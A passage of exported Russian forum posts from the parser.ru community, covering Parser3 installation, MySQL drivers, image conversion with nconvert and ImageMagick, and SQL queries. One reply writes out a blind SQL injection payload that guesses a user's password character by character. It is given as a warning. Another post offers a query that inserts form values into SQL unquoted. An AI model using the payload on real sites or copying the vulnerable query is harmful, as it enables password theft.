Ваш вариант некорректен, поскольку получится a,b,,,\
Корректный вариант для данного случая, чтобы он не вычислял следующее значение до разделителя мне в голову не приходит."
"71055","http://www.parser.ru/docs/lang/?defineclass.htm\
\
[quote]У метода auto может быть объявлен параметр:\
@auto[filespec]\
В этом параметре Parser передаст полное имя файла, содержащего метод. \
[/quote]\
\
Далее сохранять его в поле с фиксированным для всех классов именем."
"71056","Спасибо ;)\
\
...но я не хотел менять ничего в вне словаря чтоб он работал.\
\
нет в парсере ничего красившего чтобы сделать эту задачю?\
\
Я проверял это:\
\
[code]\
^process[$MAIN:CLASS]{@unhandled_exception[hException^;tStack]^#0A^$tStack.file}\
^nichto[]	\
[/code]\
\
Даже выводило тот что я хотел, но только в броузер.\
И это очень не прекрасный способ :("
"71057","[code]\
@CLASS\
dictionary\
\
\
@test[]\
^process[$caller.CLASS]{@auto[sFileSpec]^#0A^$fileSpec[^$sFileSpec]}\
$callerClass[$caller.CLASS]\
#^callerClass.auto[] - Unhandled Exception: auto: undefined method\
\
^process[$caller.CLASS]{@other[]^#0Aработет}\
^callerClass.other[]\
[/code]\
\
Но не знаю почему ^callerClass.auto[] не работает.."
"71060","Как отправить письмо через внешний mail-сервер? Например, gmail.\
\
В документации вижу только, что можно указать SMTP.\
А как насчет других параметров? Пароль, порт, ssl"
"71061","Установил на апач2 (на локалхост) парсер. когда набираю в строке localhost/cgi-bin/parser2.exe показывает \"Parser/3.3.0 (compiled on i386-pc-win32)\", т.е. все нормально.\
в .htaccess прописал  \
\"\
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3.exe\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
\
RemoveHandler html\
\"\
\
и все таки когда набираю адрес к своему сайту на локальном, скрипт не работает (видно переменные типа \"@body_main[] \").\
скачал parser3test_russian.zip - пишет что парсер не установлен.\
в чем беда?"
"71064","[quote]когда набираю в строке localhost/cgi-bin/[b]parser2.exe[/b][/quote]\
....\
[quote]Action parsed-html /cgi-bin/[b]parser3.exe[/b][/quote]\
\
Нестыковка тут у вас. Так, на всякий случай, вдруг не заметили..."
"71065","Помогите составить строку подключения.\
Поиск по форуму не дал результатов.\
Варианты?\
\
Установил FreeTDS, и как прикрутить его не знаю\
\
пример строки верный для PHP -\
в /usr/local/freetds/etc/[freetds.conf]\
[SQLSERV]\
        host = sqlserv.axion.com\
        port = 1433\
        tds version = 8.0 #т.к. на [sqlserv.axion.com] установлен SQL Server 2000, то версию протокола TDS ставим 8.0\
\
Cкрипт mssql.php для теста \
<?php\
$ch = mssql_connect(SQLSERV, \"user\", \"password\") or die ('Achtung!');\
echo $ch;\
?>"
"71066","... поскольку unix-драйвера для MS SQL для Парсера никто не писал."
"71067","Из личного опыта: MS SQL вообще ужасен.."
"71068","Ужасен - не ужасен спорить не буду,\
а вот задача забрать данные с MS SQL и положить их в PostgreSQl есть.\
печально"
"71069","... то что мешает сделать перенос данных скриптом виндовой машине или внешним скриптом на юниксе?"
"71070","И вопрос поднимался давно и неоднократно, и сервера в основном стоят под unix, linux системами ... странно\
может кто то придумал какой нить вариант автоматизации переноса данных с mssql в postgres? желательно на основе парсера"
"71071","Обычная связка http://www.sqsh.org/ и unix-команд не помогает?"
"71072","Нужно постоянно проверять таблицу mssql на наличие новых строк, выгребать их и вставлять(в определеном порядке, и формате) в разные таблицы в postgres.\
Я думал что для этого могды написать скрипт обработки на парсере."
"71073","в промежуточной обработке данных"
"71074","... если вы так боитесь команд unix-shell'а."
"71075","Первое время я еще как-то продержусь, руками перекидывать буду. \
Очень надо, и тема актуальная."
"71076","по сути - должно быть простое, элегантное решение, цитирую с этого форума \"в духе Парсера\",\
по короткому пути а не в обход на костылях.\
 \
\
p/s/ за участие !спасибо!"
"71077","Вот как он ругается http://igo2london.com/_test.html\
[code]parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename './charsets/windows-1250.cfg', fuid(136196)!=euid(65534) or fgid(65533)!=egid(100)\
./charsets/windows-1250.cfg[/code]\
\
Сам сборку сделать не могу :("
"71078","На больших нагрузках, а не на сайтиках на парсере, микрософтовый sql сервер - одно из лучших решений."
"71079","Я серьезно рассматриваю как очень серьезную альтернативу MS SQL  - postgresql, тоже достаточно сильная платформа, достаточно гибкая и продуманая. \
к тому же она совершенно безплатная в отличие от MSSQL."
"71080","_добавляю текст типа:\
[code]    <APPLET name=\"ИМЯ\" CODEBASE=\"http://ХХ.ХХ.ХХ.ХХ:YY\" >\
    ...\
    </APPLET>[/code]\
\
_выдается ошибка:\
  [code]  Entity: line 361: parser error : AttValue: \" or ' expected\
    APPLET name=\"ИМЯ\" CODEBASE=\"http://ХХ.ХХ.ХХ.ХХ:YY\"[/code]\
\
_экранирую ВСЕ символы \" : ; птичками ^\" ^: ^;\
\
_все равно выдается ошибка (причем одна из двойных кавычек обозначена &raquo; даже если в исходном коде ее заменить на &quot^; )\
 [code]   Entity: line 361: parser error : AttValue: \" or ' expected\
            <APPLET name=&raquo;ИМЯ\" CODEBASE=\"http://ХХ.ХХ.ХХ.ХХ:YY\"[/code]\
\
всякие разные варианты экранировки, замены \" на &quot^; не дают результата\
\
скажите пожалуйста, в чем проблема? как еще мне пытаться добавлять нестандартные теги с аттрибутами?"
"71081","Кроме духа самого Парсера есть еще дух Юникса, который как раз и предлагает тот подход [возможность связывания в цепочки инструментов, которые решают одну задачу, но делают это хорошо] о котором я веду речь. Более того, Парсер для Вашей задачи как раз и является \"костылем\", тогда как простая связка двух дб-шеллов и awk даст необходимую функциональность, при большей производительности и, скорее всего, при меньшей требовательности к ресурсам и гораздо большей гибкости при масштабировании."
"71082","полагаю вы делаете xml и данные откуда-то заносите. Попробуйте ^taint[xml][...] спасает во многих случаях :)"
"71083","ничего не изменилось. код этот - чистый HTML (видеоплеер)\
перед всем кодом стоит ^taint[as-is][...] и все равно выдается ошибка. as-is, html, xml - не помогает."
"71084","Большое спасибо за подсказку AWK, не знал что есть такой вариант.\
Но по сути в принципе можно сказать что AWK и parser будут работать примерно одинаково.\
Размышления:\
оба - языки скриптования.\
AWK подхватывает поток от выполнения скриптов в шелах bd, делает форматирование и дальше опять передает в шелл другой bd\
parser выполняет все тоже самое только сам.\
и тот и другой можно использовать самостоятельно(без веб сервера)\
чтобы дальше искать \"+\" и \"-\" нужно углубляться в языки.\
 \
мне как новичку в unix - проще пока использовать язык который уже знаю, хотя обещаю что AWK тоже мимо не пройдет.\
\"Костыли\" - да, погорячился, по не знанию.\
И все же пока мой выбор - !парсер!\
Возращаясь к теме дреда - parser должен быть более ... э... ~кросплатформенным~  что ли. \
еще раз Спасибо!"
"71086","я правильно понимаю, что:\
\
1. для изменения размера изображения надо сначала оригинал сохранить на сервере (нельзя работать с данными из формы)\
\
2. какой метод сжатия даёт лучший результат по качеству?\
\
Lanczos (по умолчанию)\
		g,gaussian	: Gaussian\
		m,mitchell	: Mitchell\
\
#	только для NConvert\
		q, quick	: Quick resize\
		l, linear	: Bi-linear (linear)\
		h, hermite	: Hermite\
		b, bell		: Bell\
		bs, bspline	: Bspline"
"71087","Здравствуйте\
\
Спасибо за польезный совет.\
Я исправил мой метод find. Как вам теперь? Уже нет ужос? Или только меньшый ужос?\
[code]\
@find[basepath][locals]\
$basepath[^basepath.trim[both;/]]\
^if(def $basepath){\
	$tBasepath[^basepath.split[/]]\
	^tBasepath.menu{\
		$sHashPath[${sHashPath}[$tBasepath.piece].]\
	}\
	$sHashPath[^sHashPath.trim[end;.]]\
	$result[^process{^$hTree.root.$sHashPath}]\
}{\
	$result[$hTree.root]\
}\
\
[/code]"
"71088","попробуйте сами:[code]@main[]\
<APPLET name=\"ИМЯ\" CODEBASE=\"http://ХХ.ХХ.ХХ.ХХ:YY\" >\
    ...\
</APPLET>[/code]"
"71089","1. да\
2. дело вкуса"
"71090","а вы каким пользуетесь? ))"
"71092","мне он кажется оптимально выверенным. Не дает легкого размытия как например bi-linear"
"71093","[quote]1. да[/quote]\
\
Не соглашусь. ^file::exec[resize.sh;$.stdin[$file]] вполне замечательно работает (можно передавать в том числе и бинарный файл загруженный из формы). А данные с stdin все unix программы обычно принимают. Результат правда придется уже в скрипте в файл записать, а не на stdout выдывать. Но думаю и это временно. :)"
"71094","Объявляется открытой. Публикуется на правах эксперимента. Предназначена для расширения сознания. Перед использованием подумайте о тех, кому в этом разбираться. :)"
"71095","[code]@main[]\
\
$o[^Appender::create[]]\
$o[$o.[first row].[second row].[final row]]\
\
^o.total[]\
\
@CLASS\
Appender\
\
@create[]\
$t[^table::create{name}]\
\
@total[]\
count: ^t.count[]; values: ^t.menu{$t.name}[, ]\
\
@GET_DEFAULT[name]\
^t.append{$name}\
$result[$self][/code]"
"71096","[code]@main[]\
\
$o[^Filter::create[]]\
$o[$o $.filter[a=b] $.filter[c=d] $.filter[e=f] ]\
\
$o.filter\
\
@CLASS\
Filter\
\
@create[]\
$f[^table::create{name}]\
\
@GET_filter[]\
^f.menu{($f.name)}[ and ]\
\
@SET_filter[value]\
^f.append{$value}\
[/code]"
"71097","можно и так"
"71099","задача из формы <input name=\"lot_foto\" type=\"file\" />\
закачать файл на сервер и обработать его методами ImageMagick.\
\
Конвертирование изображения в необходимый формат\
[code]\
^oImg.convert[$sFileSrc;$sFileDest;$sFormat;$hParams]\
\
Здесь\
$sFormat - выходной формат\
$hParams - хэш со следующими полями\
	$.bRemoveMeta	- флаг удаления метаданных\
	$.iQuality	- качество для jpg и png.\
	$.iColors	- кол-во цветов (256, 216, 128, 64, 32, 16 или 8)\
[/code]\
\
Это $sFileSrc это исходный  файл соответственно (путь указывается от корня веб-пространства).\
Получается сначала необходимо, сохранить файл на сервере, а потом конвертировать в нужный формат.\
Как файл из формы сохранить во временном хранилище,конвертировать методами ImageMagick, а результат сохранить на постоянное место положение? Так реализована библиотека UPLOAD на php."
"71100","Только что было:\
http://www.parser.ru/forum/?id=71093"
"71103","ответа там нет...\
пока делаю так:\
Оригинал не нужен, сохраняю его временно в каталог /temp, после конвертирования и преобразований сохраняю результат на сервере, а оригинал удаляю методом."
"71106","[code]<TABLE>\
          <tr>\
           <td>\
            <APPLET name=\"cvcs\" CODEBASE=\"http://91.143.63.163:81/\" CODE=\"xplug.class\" WIDTH=\"640\" HEIGHT=\"480\">\
            <param name=\"RemotePort\" value=\"81\">\
            <param name=\"Timeout\" value=\"5000\">\
\
            <param name=\"RotateAngle\" value=\"0\">\
            <param name=\"PreviewFrameRate\" value=\"2\">\
            <param name=\"DeviceSerialNo\" value=\"\">\
            </APPLET>\
           </td>\
          </tr>\
       </TABLE>\
[/code]"
"71107","Там вполне доступно написано, что загруженный через форму файл можно не сохранять на диск, а передавать через $.stdin[$file] скрипту, осуществляющему преобразование. Если же вы там ожидали увидеть готовый класс, то этого там действительно нет."
"71108","Спасибо!"
"71109","у меня nconvert отказывается делать:\
[code]\
$file[^file::exec[/../bin/nconvert;$.stdin[$form:img];-info]]\
$file.text[/code]\
Не ругается, но и информацию о загружаемом файле не отдает, равно как и не сохраняет его.\
[code]$file[^file::exec[/../bin/nconvert;$.stdin[$form:img];-o;${env:DOCUMENT_ROOT}/123.jpg]][/code]\
Если знаете решение, с удовольствием тоже узнаю."
"71110","Скопируйте код:\
[code]@main[]\
<TABLE>\
          <tr>\
           <td>\
            <APPLET name=\"cvcs\" CODEBASE=\"http://91.143.63.163:81/\" CODE=\"xplug.class\" WIDTH=\"640\" HEIGHT=\"480\">\
            <param name=\"RemotePort\" value=\"81\">\
            <param name=\"Timeout\" value=\"5000\">\
\
            <param name=\"RotateAngle\" value=\"0\">\
            <param name=\"PreviewFrameRate\" value=\"2\">\
            <param name=\"DeviceSerialNo\" value=\"\">\
            </APPLET>\
           </td>\
          </tr>\
       </TABLE>[/code]\
 в test.html и запустите, вы увидите, что все работает."
"71111","Установил парсер и все драйвера. При запуске _test.html получаю такую ошибку:\
\
validation of UTF-8 string failed while pcre_exec (-10).\
\
\\./lib\
\
/public_html/_test.html(846)\
\
Парсер впринципе работает, но есть проблемы с MySQL:\
$SQL:drivers table must be defined"
"71112","того, который должен лежать в одной директории с parser3.cgi"
"71113","auto.p лежит в директории /public_html/cgi-bin\
Его текст:\
@conf[]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
@unhandled_exception[exception;stack] \
$response:content-type[ \
        $.value[text/html] \
        $.charset[$response:charset] \
] \
\
<title>UNHANDLED EXCEPTION (root)</title> \
<body bgcolor=white> \
<font color=black> \
<pre>^untaint[html]{$exception.comment}</pre> \
^if(def $exception.source){ \
   <b>$exception.source</b><br /> \
   <pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre> \
} \
^if(def $exception.type){exception.type=$exception.type} \
^if($stack){ \
   <hr /> \
   ^stack.menu{ \
      <tt>$stack.name</tt> $stack.file^($stack.lineno^)<br /> \
   } \
}"
"71114","Работает в head под unix:\
\
[code]$a[^file::load[binary;input.gif]]\
$b[^file::exec[cat.sh;$.stdin[$a]]]\
[/code]\
cat.sh\
\
[code]#!/bin/sh\
cat >output.gif\
[/code]\
\
Возможно nconvert с stdin не умеет принимать?\
У convert это так задается: Specify 'file' as '-' for standard input or output."
"71115","1. Нет ничего про кодировки (а _test.html хочет windows-1251, потому и ругается).\
2. Действительно нет ничего нет про SQL драйвера.\
\
В общем можете и сами сравнить с тем auto.p, что предлагается на parser.ru."
"71116","Спасибо, sql заработал!"
"71118","[code]$c{$c}\
$c[/code]"
"71119","Столкнулся с такой проблемой. Не знаю как подступиться. \
На форуме же нашел вариант, как показывать фото напрямую из базы, без сохранения промежуточного файла. \
Сделал такую штуку. \
[code]\
@main[]\
\
^MAIN:oSql.server{\
$auth[^authmy::init[$cookie:CLASS;$form:fields;$.csql[$oSql]]]\
    ^if($auth.is_logon){\
	^if(def $form:id){\
	   ^try{\
		$f[^file::sql{Select profile_foto from mainfoto where user_id=$form:id order by id desc limit 1}]\
	   }{\
	        $exception.handled(true)\
		$f[^file::load[binary;/images/man.gif]]\
           }	\
	}{\
		$f[^file::load[binary;/images/man.gif]]\
	}\
\
     }{\
	$f[^file::load[binary;/images/man.gif]]\
     }\
$response:body[$f]\
}[/code]\
\
Так вот такая конструкция прекрасно работает на локальной машине. \
Но на хостинге при обращении выдает вот такую фигню - яШяа?? Кодировка UTF-8.\
Что это? какие-то настройки хостинга? Или ошибка у меня в ДНК? \
Подскажите куда копать, пожалуйста."
"71120","Привет всем!\
При переносе сайта возникает след. проблема: файл проверки показывает что все ок, sql работает, подключается и еже с ним.\
Но при фактическом подключении выдает след. ошибку: [quote]'connect' connection string must start with protocol://[/quote]\
Уверен, что уже сталкивали, уверен что есть в поиске, но там более сотни страниц результатов, и большинство из них не по теме. Заранее спасибо за помощь."
"71121","Как вариант решения - user_id='$form:id'\
\
По проблеме - сравнивать show create table mainfoto локально и на хостинге.\
\
Ну и код странный. Почему например не так?\
[code]   ^if($auth.is_logon && def $form:id){\
	   ^try{\
		$f[^file::sql{Select profile_foto from mainfoto where user_id=$form:id order by id desc limit 1}]\
	   }{\
	        $exception.handled(true)\
	   }\
   }\
   ^if(!def $f){\
		$f[^file::load[binary;/images/man.gif]]\
   }\
[/code]"
"71122","http://www.parser.ru/forum/?terms=%22connection+string+must+start+with+protocol%22&doSearch=%CD%E0%E9%F2%E8"
"71123","Если вы мне поможете со сборкой Parser под CentOS 5.x и с дравами под MySQL (включая клиента) — на один сайт в интернете станет больше и parser поработит мир. Все станут счастливы :)\
\
Сборка из исходных кодов помогает, но драйвера MySQL работать не хотят не хотят:\
\
[b]/var/www/taman/data/public_html/cgi-bin/lib/libparser3mysql.so[/b]\
driver failed to initialize client library '/var/www/*/data/public_html/cgi-bin/lib/libmysqlclient.so.16', /var/www/*/data/public_html/cgi-bin/lib/libmysqlclient.so.16: ELF file OS ABI invalid\
\
Пните в нужном направлении, я незнаю что делать. Пробовал разные библиотеки клиентов, включая родную 64-bit — та же история. Где взять библиотеку клиента?"
"71124","другие случаи рассматривать скучно :)\
я привел примеры в предыдущем посте, по-идее они должны работать, т.к. nconvert с какой-то (не помню точно какой) версии начал нормально принимать stdin. Но увы, добится чтоб это заработало в парсер у меня не получилось."
"71125","Пробую:\
[code]\
$photo[^file::load[binary;http://xxx/forms/background_font.gif]]\
$photo[^image::measure[$photo]]\
^photo.font[$font;$MAIN:cfgpath/fonts/forms_font.gif](0)\
\
#=== Тут падает с ошибкой: \"using unitialized image object\"\
^photo.text($x;$y)[${rnd}]\
[/code]\
\
Раньше вместо file::load-а был image::load, с ним всё работало (однако требуется грузить изображение по хттп, чего он не умеет)."
"71126","За оптимизацию кода спасибо, действительно намудрил :)\
\
Как вариант решения user_id='$form:id' - как я понял, Вы предлагаете id в кавычках передавать. Попробовал, локально все работает так же. На хостинге локальный файл при отсутсвии в базе id - показывает man.gif, но какртинку все равно не возвращает. Вместо нее все та же \"яШяа??\".\
\
Сравнил show create table mainfoto\
\
Локально: \
CREATE TABLE `mainfoto` (\
  `Id` int(11) NOT NULL auto_increment,\
  `User_id` int(11) default NULL,\
  `is_completed` tinyint(1) default '0',\
  `is_approved` tinyint(1) default '0',\
  `profile_foto` longblob,\
  `profile_tumb` longblob,\
  `add_date` datetime default NULL,\
  `approve_date` datetime default NULL,\
  PRIMARY KEY  (`Id`)\
) ENGINE=InnoDB DEFAULT CHARSET=utf8\
\
На хостинге: \
CREATE TABLE `mainfoto` (\
 `Id` int(11) NOT NULL auto_increment,\
 `User_id` int(11) default NULL,\
 `is_completed` tinyint(1) default '0',\
 `is_approved` tinyint(1) default '0',\
 `profile_foto` longblob,\
 `profile_tumb` longblob,\
 `add_date` datetime default NULL,\
 `approve_date` datetime default NULL,\
 PRIMARY KEY  (`Id`)\
) ENGINE=InnoDB AUTO_INCREMENT=128 DEFAULT CHARSET=utf8\
\
Т.е. отличаются только AUTO_INCREMENT=128 на хостинге, что вроде никак не должно сказываться на выдаче файла."
"71127","Ради эксперимента вставил после запроса к базе сохранение файла -[code]$f[^file::sql{Select profile_foto from mainfoto where user_id='$form:id' order by id desc limit 1}]\
^f.save[binary;/test.jpg]  \
[/code]\
Файл сохраняется, и прекрасно отображается браузером. Т.е. проблема явно не в выдаче файла мусклем. А где-то в районе $response:body[$f]. \
Может заголовки какие? Или что-то от апача нужно?"
"71128","[quote]начал нормально принимать stdin[/quote]\
\
Не начал, с pipe не умеет работать.\
\
Так работает:\
\
[quote]>./nconvert -out png stdin <input.gif\
** NCONVERT v5.50 (c) 1991-2009 Pierre-E Gougelet (Sep 16 2009/10:58:20) **\
        Version for Linux x86 (X11)  (All rights reserved)\
** This is a freeware software (for non commercial use)\
\
Conversion of stdin into stdin.png OK\
[/quote]\
\
Так не работает:\
[quote]>cat input.gif | ./nconvert -out png stdin\
** NCONVERT v5.50 (c) 1991-2009 Pierre-E Gougelet (Sep 16 2009/10:58:20) **\
        Version for Linux x86 (X11)  (All rights reserved)\
** This is a freeware software (for non commercial use)\
\
  Error: Don't know how to read this picture (stdin)\
[/quote]\
\
Видимо пытается что-то странное с stdin сделать. При вызове из парсера - та же ошибка.\
$f.stderr - Error: Don't know how to read this picture (stdin)"
"71129","Про заголовки там написано:\
\
http://www.parser.ru/docs/lang/?filesql.htm\
\"третья колонка содержит content-type файла\"\
\
Поскольку у вас ни колонки, ни $.content-type не задано, вероятно олучается text/<что-то>, что и приводит к указанному эффекту."
"71130","[quote]Попробовал, локально все работает так же.[/quote]\
\
SQL injection, это когда вам в $form:id передадут например такое:\
[i]0 and (select substr(password,1,1) from user where id=0)=char(65)[/i]\
И таким образом за разумное количество итераций подберут пароль любого пользователя (пример условный).\
\
Note: char(65) - это 'A' - просто кавычки использовать нельзя - парсер их экранирует."
"71131","Все равно плохо. :)\
\
[code]^tBasepath.menu{\
	$sHashPath[${sHashPath}[$tBasepath.piece].]\
}\
$sHashPath[^sHashPath.trim[end;.]][/code]\
\
Эквивалентно такому:\
\
[code]^tBasepath.menu{[$tBasepath.piece]}[.][/code]\
\
Ну а основная проблема - конечно process, который надо использовать только тогда, когда он реально нужен.\
Можно например так:\
\
[code]$result[$hTree.root]\
^tBasepath.menu{\
	^if(def $result){\
		$result[$result.[$tBasepath.piece]]\
	}\
}\
[/code]"
"71132","До этого я тоже добрался. Но или не правильно что-то указал, либо не тут собака порылась. \
Помогло добавление строки $request:charset[UTF-8]\
Видимо что-то терялось на перекодировках. \
Страно то, что в auto.p стоит $request:charset[UTF-8]. auto[] не перекрываю... странно. На досуге надо будет разобраться в механизме этого косяка. \
\
Большое спасибо за помощь!"
"71133","Для эффективности measure написан так, что не читает изображение полностью, а только заголовок, о есть упоминание в документации: \"Сама картинка не считывается\". Поэтому рисовать на нем и не получится...\
\
Но понятно, что здесь есть недоработка. Логичным решением конечно было бы разрешить ^image::load[$file], но это не так просто, поскольку используемая библиотека умеет читать только из файла."
"71134","Да похоже с парсером-то все в порядке, чем-то не нравится системе ваши libmysqlclient.so.16. С той библиотекой, что стоит на самом сервере (обычно /usr/lib/libmysqlclient.so) та же проблема? Что выдает ldd /var/www/*/data/public_html/cgi-bin/lib/libmysqlclient.so.16 ?"
"71136","Понимаю...\
\
Но думал что с...\
\
[code]\
$result[^process{^$hTree.root.$sHashPath}]\
[/code]\
\
...придумал что-нибудь великолепного.\
\
Спасибо, поздравляю"
"71138","Сасибо! Про SQL injection знаю, конечно. После бессоной ночи затупил :)\
Это не финальная версия файла была, тестовая. Там не хотел вносить лишних конструкций для простоты эксперимента. А обычно id или цифровые данные из форм передаю через ^form:id.int[], а текстовые в кавычках, конечно. \
Еще раз спасибо!"
"71139","Столкнулся с такой интересной штукой.. \
Есть форма, сабмитится и через JsHttpRequest передается обработчику. Там обрабатывается, файл сохраняется в базу, и удаляется с диска. \
И все было прекрасно, пока оной блондинке не пишло в голову попробовать открыть эту форму оперой и не один раз нажать на intup type=\"image\", через которую сабмитится форма, два раза подряд. Даблкликом. \
В IE и фоксе - все обрабатывается нормально. По крайней мере воссоздать не удалось. \
А в опере форма сабмитится 2 раза. Т.е. второй раз тогда, когда файл уже удален.. и ошибка. \
Вот и вопрос. Как с таким бороться? Запись в базу или хешфайл при формировании формы - понятно. Но может есть какие-то более элегантные способы именно под этот вариант развития событий?"
"71141","Здравствуйте.\
При работе с nconvert возникли два вопроса.\
1) Win версия nconvert почем то не хочет возвращать код ошибок. При попытке передать на обработку левый файл (не картинку вообще) status приходит 0, хотя в stderr пишется текст ошибки can't read file. Это проблема win версии или я где то косячу? (используются классы img.p). При установке на хостинг в linux версии код ошибки приходит.\
\
По безопасности\
2) nconvert установил в папку cgi-bin. Есстественно он виден извне елси к нему обратиться (возвращает 500 - malformed header from script. Bad header= Version for Linux x86 : nconvert). Можно его убрать из этой папке, но хотелось бы чтобы все было в куче. Могут ли как то злоумышленники передать параметры для запуска извне для nconvert (например с целью удалить с сервера фотки) или не стоит по этому поводу беспокоиться?\
\
С уважением, Андрей."
"71142","Пробовали firefox 3.1/3.5 Opera 9.64. Может есть фильтр какой по email (у меня @inbox.ru у него @mail.ru)?"
"71143","Хм. Интересная тема. Только ума не приложу как это сделать. Не подскажите? Или где поискать. \
Кстати, варианты с блокирование двойного сабмита, типа антиспамового класса, с записью в хешфайл или базу, тоже не подойдут. Т.е. как-то отработается первый клик, удалиться запись, придет второй клик, который не обработается и именно его результат вернется скрипту.."
"71146","Спасибо. Вклячивание в js disable кнопки помогло."
"71147","Я первым делом там и был. Только потом задал вопрос по кодам ошибок. Ничего не нашел.\
По вопросу безопасности cgi видел ответ PAF, решил просто уточнить."
"71148","в вашем случае программа приняла файл, поняла что она его не знает (обработала ошибку), вернула текст для stderr и закрылась. По-моему 0 здесь вполне логичен."
"71149","Еще со времен DOS общепринятым считалось 0 - код возврата в случае успешного выполнения запроса пользователя. В остальных случаях указывался код ошибки. Еще помнится компиляторы C требовали явно прописать один return:\
[code]int main () {\
	return 0;\
}[/code]\
Тем более повторюсь, линукс версия код ошибки возвращает. 0 я получаю только в win версии. Совсем нелогично когда при одинаковых параметрах одна программа возвращает разные результаты :). Видимо все таки что-то в win версии."
"71152","Прошу сильно не пинать :) Если кому не сложно прошу помочь с написанием SQL-запроса к базе... И так есть несколько таблиц\
menu - столбы menu_id и menu_name содержит номер и название однотипных подгрупп, в моем случае это бытовая техника, например группа вытяжки содержит подгруппы вытяжки на 60см, вытяжки на 90см, встраиваемые вытяжки ну и т.д.\
type - столбцы type_id, type_name и menu_id содержит номера и наименования подгрупп и привязана к таблице menu по полю menu_id\
brand - столбцы brand_id и brand_name содержит номера и наименвания фирм производителей\
model - model_id, model_name, brand_id, type_id и несколько других не играющих сейчас никакой роли, первые два номер и название моделей, и два столбца которые связаны с таблицами brand и type соответственно. Мне необходимо получать от базы таблицу связанную по всем четырем полям для формирования меню (все что было связано с парсером проблемм не вызывает а вот с SQL у меня напряженно). приведу несколько примеров:\
ситуация 1: не выбрано ничего отображаются все бренды и отображаются все группы с этим проблемм нет\
ситуация 2: выбрана группа не выбран бренд, должна открыться подгруппа и должны остаться те бренды у которых в таблице model есть записи содержащие brand_id и type_id. Грубо говоря если я выбираю вытяжки то у меня должна открыться подгруппа с разными типами вытяжек и в меню брендов должны остаться бренды для которых существую записи вытяжек в базе.\
ситуация 3: по аналогии с предыдущей ситуацией только тут выбирается бренд и у меня должно остаться в меню именно те группы техники которые производит эта фирма-производитель...\
ну и так далее в различных комбинациях...\
прошу помощи сам пока что-то никак не сооброжу, буду благодарен за любую помощь, заранее спасибо всем ответившим..."
"71153","тут у меня пример чуть попроще вашего, но думаю можно дополнить\
\
[code]\
$ob1[^table::sql{\
 SELECT * FROM ob WHERE \
 operation = '$form:operation' AND nedv_type = '$form:nedv_type'\
 ^if(def $form:gorod){AND gorod = $form:gorod}\
 ^if(def $form:rayon1){AND rayon = $form:rayon1}\
 ^if(def $form:komnat){AND komnat = $form:komnat}\
 ^if(def $form:etaj){AND etaj <= $form:etaj}\
 ^if(def $form:remont){AND remont = $form:remont}\
 ^if(def $form:agency){AND agency = '$form:agency'}\
 ^if(def $form:noagency){AND agency = '0'}\
 ^if(def $form:maxcena){AND cena <= $form:maxcena}\
 ORDER BY DATE DESC}][/code]"
"71155","Img.p из библиотеки примеров выдаёт\
\
Unknown image format '/i/menu/ru/12/200910281118208258850.jpg'\
\
с чем может быть связано?"
"71156","Да немного не то, у меня проблемма именно с написанием SQL-запроса, такой запрос как у ВАС уже пробовал результат мягко говоря не тот который мне нужен."
"71157","Фото на сервер загружалось в режиме binary?"
"71158","А то можно довольно много времени провести в размышлениях на тему «…то ли лыжи не едут…»."
"71159","Топик устарел, в 3.3.0 есть класс inet.\
\
http://www.parser.ru/docs/lang/?inetaton.htm"
"71160","Указанные операции с double по-прежнему не работают."
"71161","а что это за режим?\
локально всё работает\
а вот на сервере выдаёт такую ошибку"
"71162","Если в методе явно определить переменную result, а потом в коде попытаться воспользоваться конструкцией\
\
^таблица.append{табличные данные}\
\
то вылетит ошибка:\
unexpected BAD_NONWHITESPACE_CHARACTER_IN_EXPLICIT_RESULT_MODE\
\
Есть ли способ как-нибудь это обойти? Или просто отказаться от явного определения result?"
"71163","ибо из Вашего сообщения не удается понять проблему...\
сделайте bug.html"
"71164","Надо положить ^таблица.append{} во временную локальную переменную.\
\
Или же воспользоваться последней бетой парсера и новым методом ^таблица.append[] (с квадратными скобками, подробнее [url=\"http://www.parser.ru/forum/?id=70907\"]здесь[/url])"
"71165","М-м-м… Да, понятно. Хотя это и несколько странный ход — класть «ничто» в переменную только ради того чтобы это «ничто» спрятать.\
Спасибо за совет."
"71166","Можно и третий вариант:\
[code]^таблица.append{^taint[as-is][табличные данные]}[/code]\
\
Скорее всего, ваши \"табличные данные\" являются обычной строкой внутри {}.\
Но проблема в том, что данные внутри скобок {} у append'а воспринимаются как код, что противоречит локальному result’у, о чём и говорится в ошибке.\
\
Поясняющий вариант:\
[code]$str[табличные данные]\
^таблица.append{$str}[/code]"
"71167","Друзья, \
\
в описании к парсеру написано, что с языком справится человек без навыков программиста (но работавший с ШТМЛ). Это я.\
\
Мне уже не по себе, так как проверить этого на деле я не смог. Запоролся на установке. В документации, в ЧАВО и ридми решили не запариваться с расшифровкой почему надо делать именно так, как там указанно (для непосвященного в тонкости настройки серверов человека очень тяжело понять, что эти три источника полезной информации говорят об одном и том же, так как формулировки и примеры в них разнятся). Шесть часов и несколько десятков вспомогательной литературы в интернете мне понадобились, чтобы просто выполнить пункты, указанные в документации. \
\
В итоге, файл test.html мне говорит, что я не до конца решил задачу и парсер у меня не работает/не установлен.\
\
Установил себе Апачи 2.2.14 (Win32)на локальную машину с Windows XP SP2 Home Edition, скачал и выполнил parser3_3_0_ru.exe (cgi скрипт с поддержкой XML). Создал .htaccess с необходимыми директивами (просто указать, что по умолчанию Апачи к этому файлу не обращается, это круто. Еще один пункт про AllowOverride не дописать ведь). Поместил файл в корневую папку сервера. Добился того, чтобы апачи его замечал (в ЧАВО есть, как это проверить). parser3.exe поместил в папку cg-bin, в той же корневой папке.  \
\
Если этого достаточно, почему язык не установился?\
В самом Windows не надо никакие пути указывать?\
\
Буду благодарен за поддержку."
"71169","Нашёл вот это\
/usr/lib64/mysql/libmysqlclient.so.15.0.0\
/usr/lib64/mysql/libmysqlclient_r.so.15.0.0\
\
Сразу решил, что не попрёт. Так и вышло:\
\
[b]/var/www/*/data/www/*/cgi-bin/lib/libparser3mysql.so\
[/b]\
\
driver failed to initialize client library '/usr/lib64/mysql/libmysqlclient.so.15.0.0', /usr/lib64/mysql/libmysqlclient.so.15.0.0: wrong ELF class: ELFCLASS64"
